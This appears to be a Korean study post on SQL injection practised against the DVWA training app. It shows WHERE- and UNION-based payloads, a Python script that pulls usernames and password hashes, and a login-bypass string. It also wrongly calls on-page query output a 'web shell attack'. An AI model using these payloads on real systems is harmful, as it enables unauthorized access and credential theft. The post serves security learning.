개요
데이터베이스에 전송되는 SQL 쿼리문을 조작하여
DB내의 데이터를 변조하거나 허가되지 않은 데이터에 접근할 수 있는 공격
▶ 해킹사례
☞ 2011년 소니: 약 100만명, 350만개의 쿠폰 탈취
☞ 2015년 뽐뿌: 약 190만명의 개인정보 탈취
☞ 2015년 WTO: 어나니머스의 공격으로 수천만명의 직원 정보 탈취
▶ 공격 종류
☞ WHERE 구문을 이용한 공격
☞ UNION 구문을 이용한 공격
SQL Injection (Low Level)
USER ID 검색 폼에 admin이라고 입력한 경우
1) 사용자가 정보를 요청한다
2) 요청된 정보를 데이터베이스로 SQL쿼리문을 전송한다.
=> SELECT name FROM 테이블명 WHERE ID='admin';
3) 정보 요청 결과
주소창은 다음과 같이 변경된다.
http://192.168.5.126/dvwa/vulnerabilities/sqli/?id=admin&Submit=Submit#
▶ SQL 인젝션 공격: WHERE 구문을 이용한 공격
공격 쿼리문: 1' or '1'='1
ID가 1이거나 숫자1이 1인경우를 뜻하며,
숫자1이 숫자1인 경우는 언제나 참이므로 모든 조건이 만족되어
모든 테이블이 출력되게 됩니다.
※ 이런식으로 웹 서버 창에 그대로 정보가 출력되는 공격을 웹쉘 공격이라고 합니다.
▶ SQL 인젝션 공격: UNION 구문을 이용한 공격
공격자인 해커는 or 연산자 대신에 union구문을 이용하여
패스워드를 요청하는 추가 쿼리문을 삽입하는 공격입니다.
WHERE : SELECT name FROM 테이블명 WHERE ID='1' or '1' = '1';
UNION : SELECT name FROM 테이블명 WHERE ID='1'
UNION SELECT user,password FROM dvwa.users#;
1' union select user,password from dvwa.users#
문구 삽입으로 유저 이름과 암호를 출력할 수 있습니다.
▶ SQL 인젝션 공격의 핵심은 작은 따옴표이다 => ( ' )
정상적으로 ID값을 입력하면 아래와 같이 주소창이 변경된다.
http://192.168.5.126/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#
그런데 SQL인젝션에 취약점이 있는 홈페이지는
작은 따옴표를 삽입하면 에러 문구를 출력한다.
이런 경고가 출력된다는 것은 SQL문의 결과를 웹쉘로 볼수 있다는것을 뜻하며
SQL인젝션 공격을 할 수 있음을 뜻합니다.
SQL Injection (Low Leve)의 파이썬 코드
import requests
import re
URL = "http://서버IP/dvwa/vulnerabilities/sqli/"
cookies = {'PHPSESSID' : '세션ID', 'security' : 'low'}
data = {'id' : "1' union select user,password from dvwa.users#", 'Submit' : 'Submit'}
res = requests.post(URL, data=data, cookies=cookies)
search_string = "First name: admin"
string_position = res.text.find(search_string)
if string_position > 0 :
res2 = res.text[string_position:res.text.find("</div>", string_position)].split("</pre><pre>")
for i in res2 :
print(i)
else :
print("[-]")
파이썬 코드로 다음과 같이 결과값이 출력됩니다.
SQL Injection으로 게시판 로그인하기
게시판에 비밀번호 입력창에 DVWA공격과 마찬가지로
1' or '1' = '1
를 입력하면 모든 값이 참이 되면서 로그인에 성공합니다.